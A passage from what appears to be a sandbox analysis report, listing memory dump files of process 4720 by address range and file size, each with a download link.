108KB

Download
memory/4720-152-0x00007FFDADFA0000-0x00007FFDAE058000-memory.dmp

Filesize
736KB

Download
memory/4720-153-0x00007FFD9EF40000-0x00007FFD9F2B5000-memory.dmp

Filesize
3.5MB

Download
memory/4720-154-0x000001985B410000-0x000001985B785000-memory.dmp

Filesize
3.5MB

Download
memory/4720-148-0x00007FFDAE680000-0x00007FFDAE6AE000-memory.dmp

Filesize
184KB

Download
memory/4720-144-0x00007FFDAEB90000-0x00007FFDAEBBD000-memory.dmp

Filesize
180KB

Download
memory/4720-145-0x00007FFDAE860000-0x00007FFDAE9D1000-memory.dmp

Filesize
1.4MB

Download
memory/4720-146-0x00007FFDAEB70000-0x00007FFDAEB8F000-memory.dmp

Filesize
124KB

Download
memory/4720-783-0x00007FFD9F4B0000-0x00007FFD9F91E000-memory.dmp

Filesize
4.4MB

Download
memory/4720-801-0x00007FFDAE7B0000-0x00007FFDAE7CB000-memory.dmp

Filesize
108KB

Download
memory/4720-810-0x00007FFDAECD0000-0x00007FFDAECDD000-memory.dmp

Filesize
52KB

Download
memory/4720-809-0x00007FFDADED0000-0x00007FFDADF07000-memory.dmp

Filesize
220KB

Download
memory/4720-808-0x00007FFD9E740000-0x00007FFD9EF3B000-memory.dmp

Filesize
8.0MB

Download
memory/4720-807-0x00007FFDAE5A0000-0x00007FFDAE5BE000-memory.dmp

Filesize
120KB

Download
memory/4720-806-0x00007FFDB1D40000-0x00007FFDB1D4A000-memory.dmp

Filesize
40KB

Download
memory/4720-805-0x00007FFD9EF40000-0x00007FFD9F2B5000-memory.dmp

Filesize
3.5MB

Download
memory/4720-804-0x00007FFDADF50000-0x00007FFDADF9D000-memory.dmp

Filesize
308KB

Download
memory/4720-803-0x00007FFDAE740000-0x00007FFDAE758000-memory.dmp

Filesize
96KB

Download
memory/4720-802-0x00007FFD9F390000-0x00007FFD9F4A8000-memory.dmp

Filesize
1.1MB

Download
memory/4720-800-0x00007FFDAE7D0000-0x00007FFDAE7F2000-memory.dmp

Filesize
136KB

Download
memory/4720-799-0x00007FFDAE800000-0x00007FFDAE814000-memory.dmp

Filesize
80KB

Download
memory/4720-798-0x00007FFDAE820000-0x00007FFDAE834000-memory.dmp

Filesize
80KB

Download
memory/4720-797-0x00007FFDB1D70000-0x00007FFDB1D80000-memory.dmp

Filesize
64KB

Download
memory/4720-796-0x00007FFDAE840000-0x00007FFDAE855000-memory.dmp

Filesize
84KB

Download
memory/4720-795-0x00007FFDADF10000-0x00007FFDADF42000-memory.dmp

Filesize
200KB

Download
memory/4720-794-0x00007FFDAE720000-0x00007FFDAE731000-memory.dmp

Filesize
68KB

Download
memory/4720-793-0x00007FFDADFA0000-0x00007FFDAE058000-memory.dmp

Filesize
736KB

Download
memory/4720-792-0x00007FFDAE680000-0x00007FFDAE6AE000-memory.dmp

Filesize
184KB

Download
memory/4720-791-0x00007FFDAEB90000-0x00007FFDAEBBD000-memory.dmp

Filesize
180KB

Download
memory/4720-790-0x00007FFDAE860000-0x00007FFDAE9D1000-memory.dmp

Filesize
1.4MB

Download
memory/4720-789-0x00007FFDAEB70000-0x00007FFDAEB8F000-memory.dmp

Filesize
124KB

Download
memory/4720-788-0x00007FFDB1D80000-0x00007FFDB1D99000-memory.dmp

Filesize
100KB

Download
memory/4720-787-0x00007FFDB1DA0000-0x00007FFDB1DAD000-memory.dmp

Filesize
52KB

Download
memory/4720-786-0x00007FFDB3990000-0x00007FFDB39A9000-memory.dmp

Filesize
100KB

Download
memory/4720-785-0x00007FFDB7CE0000-0x00007FFDB7CEF000-memory.dmp

Filesize
60KB

Download
memory/4720-784-0x00007FFDB1DB0000-0x00007FFDB1DD4000-memory.dmp

Filesize
144KB

Download